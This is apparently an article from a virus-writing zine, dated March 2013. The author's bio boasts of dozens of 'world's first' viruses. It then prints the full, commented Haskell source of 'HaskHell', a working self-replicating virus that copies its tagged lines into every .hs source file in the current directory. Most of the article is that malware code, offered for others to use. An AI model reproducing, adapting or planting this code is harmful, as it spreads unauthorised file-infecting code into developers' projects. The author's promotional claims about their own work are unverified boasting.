Viruses in Haskell roy g biv / defjam -= defjam =- since 1992 bringing you the viruses of tomorrow today! About the author: Former DOS/Win16 virus writer, author of several virus families, including Ginger (see Coderz #1 zine for terrible buggy example, contact me for better sources ;), and Virus Bulletin 9/95 for a description of what they called Rainbow. Co-author of world's first virus using circular partition trick (Orsam, coded with Prototype in 1993). Designer of world's first XMS swapping virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is swapped out). Author of world's first virus using Thread Local Storage for replication (Shrug, see Virus Bulletin 6/02 for a description, but they call it Chiton), world's first virus using Visual Basic 5/6 language extensions for replication (OU812), world's first Native executable virus (Chthon), world's first virus using process co-operation to prevent termination (Gemini, see Virus Bulletin 9/02 for a description), world's first virus using polymorphic SMTP headers (JunkMail, see Virus Bulletin 11/02 for a description), world's first viruses that can convert any data files to infectable objects (Pretext), world's first 32/64-bit parasitic EPO .NET virus (Croissant, see Virus Bulletin 11/04 for a description, but they call it Impanate), world's first virus using self-executing HTML (JunkHTMaiL, see Virus Bulletin 7/03 for a description), world's first virus for Win64 on Intel Itanium (Shrug, see Virus Bulletin 6/04 for a description, but they call it Rugrat), world's first virus for Win64 on AMD AMD64 (Shrug), world's first cross-infecting virus for Intel IA32 and AMD AMD64 (Shrug), world's first viruses that infect Office applications and script files using the same code (Macaroni, see Virus Bulletin 11/05 for a description, but they call it Macar), world's first viruses that can infect both VBS and JScript using the same code (ACDC, see Virus Bulletin 11/05 for a description, but they call it Cada), world's first virus that can infect CHM files (Charm, see Virus Bulletin 10/06 for a description, but they call it Chamb), world's first IDA plugin virus (Hidan, see Virus Bulletin 3/07 for a description), world's first viruses that use the Microsoft Script Encoder to dynamically encrypt the virus body (Screed), world's first virus for StarOffice and OpenOffice (Starbucks), world's first virus IDC virus (ID10TiC), world's first polymorphic virus for Win64 on AMD AMD64 (Boundary, see Virus Bulletin 12/06 for a description, but they call it Bounds), world's first virus that can infect Intel-format and PowerPC-format Mach-O files (MachoMan, see Virus Bulletin 1/07 for a description, but they call it Macarena), world's first virus that uses Unicode escapes to dynamically encrypt the virus body (Unicycle), world's first self-executing PIF (Spiffy), world's first self-executing LNK (WeakLNK), world's first virus that uses virtual code (Relock, see Virus Bulletin 3/10 for a description, but they call it Lerock), world's first virus to use FSAVE for instruction reordering (Mimix, see Virus Bulletin 1/10 for a description, but they call it Fooper), world's first virus for ODbgScript (Volly), world's first Hiew plugin virus (Hiewg), world's first virus that uses fake BOMs (Bombastic), world's first virus that uses JScript prototypes to run itself (Protato), world's first virus that uses Heaven's Gate for replication (Heaven, see Virus Bulletin 12/11 for a description, but they call it Sobelow), world's first virus for 010 Editor script (To_Be, see Virus Bulletin 1/13 for a description, but they call it Toobin), world's first truly polymorphic Batch virus (Polymer, see Virus Bulletin 5/12 for a description, but they call it Lymer), world's first virus that uses the GPU for decryption (OGLe), and world's first virus to use exception handlers to construct the code. Author of various retrovirus articles (eg see Vlad #7 for the strings that make your code invisible to TBScan). This is my first virus for Haskell. It is the world's first virus for Haskell. What is it? Haskell is a purely functional programming language. I learn Haskell for one day and this is the result. :) Not much more to say about it. Haskell is sensitive to whitespace, so I use no indents here. Each virus line uses "--rgb" comment to allow finding it easily. --library imports for the functions that we use import System.Environment--rgb import System.IO--rgb import System.Directory--rgb import Data.List--rgb --HaskHell - roy g biv 13/3/13 --main body virus a b=do--rgb --read host file c<-readFile b--rgb --separate "import" lines from everything else --no code can appear before import lines --so we want to insert after the last import let(d,e)=(partition(isPrefixOf"import")(lines c))--rgb --check for infection marker - our function call if(==)(last(e))"haskhell"then return()--rgb --if not infected, write imports+virus+rest+function call --crash if file is not writable, but this is PoC, so... else writeFile(b)(unlines(d++a++e++["haskhell"]))--rgb haskhell=do--rgb --get our filename and check the extension a<-getProgName--rgb --check for .hs suffix --Haskell can be compiled to binary code --but then we lose our source --on Windows, .hs files can run without extension --but we ignore that case if(isSuffixOf".hs"a)then do--rgb --read infected file b<-readFile a--rgb --extract all lines which end with "--rgb" --this is not as safe as extracting begin/end substring --but who else would use "--rgb" for comment? ;) let c=filter(isSuffixOf"--rgb")(lines b)--rgb --get directory list d<-getDirectoryContents"."--rgb --call virus for each file with ".hs" suffix mapM_(virus c)(filter(isSuffixOf".hs")d)--rgb else return()--rgb main = do haskhell --start here Greets to friendly people (A-Z): Active - Benny - herm1t - hh86 - jqwerty - Malum - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - Whitehead rgb/defjam mar 2013 iam_rgb@hotmail.com